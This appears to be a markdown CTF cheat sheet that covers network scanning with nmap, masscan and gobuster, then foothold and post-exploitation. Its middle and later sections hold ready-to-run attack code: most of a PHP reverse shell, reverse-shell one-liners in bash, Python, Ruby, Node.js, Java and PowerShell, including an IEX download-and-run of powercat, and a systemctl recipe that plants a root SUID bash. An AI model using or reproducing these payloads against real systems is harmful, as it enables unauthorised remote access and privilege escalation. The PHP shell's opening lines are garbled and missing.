# CTF_CheatSheet ## Stage 1 - Lay of the Land ### enumeration * Active Recon * Nmap * Masscan * Network discovery * RPCClient * Enum4all * Passive Recon * Shodan * Wayback Machine * The Harvester * List all the subdirectories and files * Gobuster * Backup File Artifacts Checker #### Nmap ``` nmap -sV -sC -oA nmap/basic IP nmap [Scan Type] [Options] {target specification} ``` ``` * HOST DISCOVERY: - -sL: List Scan - simply list targets to scan - -sn/-sP: Ping Scan - disable port scan - -Pn: Treat all hosts as online -- skip host discovery * SCAN TECHNIQUES: - -sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans - -sU: UDP Scan -sN/sF/sX: TCP Null, FIN, and Xmas scans * PORT SPECIFICATION: - -p : Only scan specified ports - Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9 * SERVICE/VERSION DETECTION: -sV: Probe open ports to determine service/version info * OUTPUT: -oN/-oX/-oS/-oG : Output scan in normal, XML,Output in the three major formats at once -v: Increase verbosity level (use -vv or more for greater effect) * MISC: -6: Enable IPv6 scanning -A: Enable OS detection, version detection, script scanning, and traceroute ``` #### Masscan ```bash masscan IP -p 1-65535 --rate 100 -oX masscan.xml ``` | Option | Discription | |--------|-------------| | -p | Ports to scan, E.g. -p80,8000-8100 | | --rate= | Rate of Packets-per-Second, E,g --rate=10000 = 10kpps (Too High can cause a Jam) | | --banners | -oB : save results of scan in binary format to | | -oX | save them as xml in | | --open --banners --readscan -oX | read binary scan results in and save them as xml in | | --nmap | Options Compatable with Nmap| ##### Compatable Nmap Options ``` TARGET SPECIFICATION: Can pass only IPv4/IPv6 address, CIDR networks, or ranges (non-nmap style) Ex: 10.0.0.0/8, 192.168.0.1, 10.0.0.1-10.0.0.254 -iL : Input from list of hosts/networks --exclude : Exclude hosts/networks --excludefile : Exclude list from file --randomize-hosts: Randomize order of hosts (default) HOST DISCOVERY: -Pn: Treat all hosts as online (default) -n: Never do DNS resolution (default) SCAN TECHNIQUES: -sS: TCP SYN (always on, default) SERVICE/VERSION DETECTION: --banners: get the banners of the listening service if available. The default timeout for waiting to receive data is 30 seconds. PORT SPECIFICATION AND SCAN ORDER: -p : Only scan specified ports Ex: -p22; -p1-65535; -p 111,137,80,139,8080 TIMING AND PERFORMANCE: --max-rate : Send packets no faster than per second --connection-timeout : time in seconds a TCP connection will timeout while waiting for banner data from a port. FIREWALL/IDS EVASION AND SPOOFING: -S/--source-ip : Spoof source address -e : Use specified interface -g/--source-port : Use given port number --ttl : Set IP time-to-live field --spoof-mac : Spoof your MAC address OUTPUT: --output-format : Sets output to binary/list/unicornscan/json/ndjson/grepable/xml --output-file : Write scan results to file. If --output-format is not given default is xml -oL/-oJ/-oD/-oG/-oB/-oX/-oU : Output scan in List/JSON/nDjson/Grepable/Binary/XML/Unicornscan format, respectively, to the given filename. Shortcut for --output-format --output-file -v: Increase verbosity level (use -vv or more for greater effect) -d: Increase debugging level (use -dd or more for greater effect) --open: Only show open (or possibly open) ports --packet-trace: Show all packets sent and received --iflist: Print host interfaces and routes (for debugging) --append-output: Append to rather than clobber specified output files --resume : Resume an aborted scan MISC: --send-eth: Send using raw ethernet frames (default) -V: Print version number -h: Print this help summary page. EXAMPLES: masscan -v -sS 192.168.0.0/16 10.0.0.0/8 -p 80 masscan 23.0.0.0/0 -p80 --banners -output-format binary --output-filename internet.scan masscan --open --banners --readscan internet.scan -oG internet_scan.grepable ``` #### Netdiscover ``` netdiscover -i ``` #### DirBuster / GoBuster ```bash ./gobuster -u http://buffered.io/ -w /secondary/wordlists/more-lists/dirb/ -t 10 -u url -w wordlist -t threads More subdomain : ./gobuster -m dns -w subdomains.txt -u google.com -i gobuster -w wordlist -u URL -r -e /secondary/wordlists/more-lists/dirb/ ``` ## Stage 2 - Foothold ### Attacking - Web Reverse Shells Kali / Parrot OS ``` cd /usr/share/webshells/ ``` #### PentestMonkey PHP Reverse Shell * php-reverse-shell - A Reverse Shell implementation in PHP * Copyright (C) 2007 pentestmonkey@pentestmonkey.net ``` array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } // Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } // If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } // If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); // Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) { if (!$daemon) { print "$string\n"; } } ?> ``` * Short One-Line PHP Reverse Shell Injection ``` php -r '$sock=fsockopen("IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");' ``` #### Built-in Tools | Program | Command | |----------|---------| | Netcat Listen | ncat -lvnp 4444 | | Bash | bash -i >& /dev/tcp/IP/4444 0>&1 | | Bash | bash -c 'bash -i >& /dev/tcp/IP/4444 0>&1' | | PHP | php -r '$sock=fsockopen("^IP^",4444);exec("/bin/sh -i <&3 >&3 2>&3");'` | | Netcat Connect | nc -e /bin/sh ^IP^ 4444`| | Telnet | mknod backpipe p && telnet ^IP^ 4444 0backpipe` | | Python | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'` | | Ruby | ruby -rsocket -e 'exit if fork;c=TCPSocket.new("^IP^","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'` | | Node.js | var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect(4444, "^IP^", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);}); | | | require('child_process').exec("bash -c 'bash -i >& /dev/tcp/^IP^/4444 0>&1'");` | | Java | Runtime r = Runtime.getRuntime();Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/IP/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"});p.waitFor();` | | Java | java.lang.Runtime.exec()` payload generator: http://www.jackson-t.ca/runtime-exec-payloads.html | | Powershell | powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c ^IP^ -p 4444 -e cmd | #### Spawning a Shell To check if the shell is a tty shell, just enter tty command like the following. ```bash tty ``` not a tty ```bash tty ``` /dev/pts/0 Here are some commands which will enable you to spawn a tty shell: Python: This is the most popular method for spawnings a tty shell. The target server should have python or python3 installed. |Methord | Command | |----------|-----------| | * Python | python -c "import pty;pty.spawn('/bin/bash')" | | * Python3 | python3 -c "import pty;pty.spawn('/bin/bash')" | | * Echo: | echo 'os.system('/bin/bash')'| | * sh: | /bin/sh -i| | * Bash: | /bin/bash -i| | * Perl: | perl -e 'exec "/bin/sh";'| | * Ruby: | ruby: exec "/bin/sh"| | * Lua: | lua: os.execute('/bin/sh')| | * From within vi: | :!bash , :set shell=/bin/bash:shell | | * From within nmap: | !sh | - To make the Shell Usable: ``` Ctrl+Z stty raw -echo fg export TERM=xterm ``` ## Stage 3 - Post Exploitation ### Lets Have a Look Around ##### PEASS-ng | OS | Links | |----|------| | Linux | https://github.com/carlospolop/PEASS-ng/blob/master/linPEAS/linpeas.sh | | Windows x68 | https://github.com/carlospolop/PEASS-ng/raw/master/winPEAS/winPEASexe/binaries/x64/Release/winPEASx64.exe | |Windows x86 | https://github.com/carlospolop/PEASS-ng/raw/master/winPEAS/winPEASexe/binaries/x86/Release/winPEASx86.exe | ### Escalate Privileges ##### SUID * Find SUID Files | Command| Discription | |--------|-------------| | find / -user root -perm -4000 2>/dev/null | Find SUID Files | * SUID Cheatsheet * systemctl ``` cd /tmp TF=$(mktemp).service echo '[Service] Type=oneshot ExecStart=/bin/sh -c "COMMAND HERE" [Install] WantedBy=multi-user.target' > $TF systemctl link $TF systemctl enable --now $TF ``` * Create a Service that will give `/bin/bash` a Root SUID ``` cd /tmp TF=$(mktemp).service echo '[Service] Type=oneshot ExecStart=/bin/sh -c "cp /bin/bash /tmp/bash;chmod +s /tmp/bash" [Install] WantedBy=multi-user.target' > $TF systemctl link $TF systemctl enable --now $TF /tmp/bash -p ``` Search [GTFO Bins](https://gtfobins.github.io/) for exploits ##### Linux Tools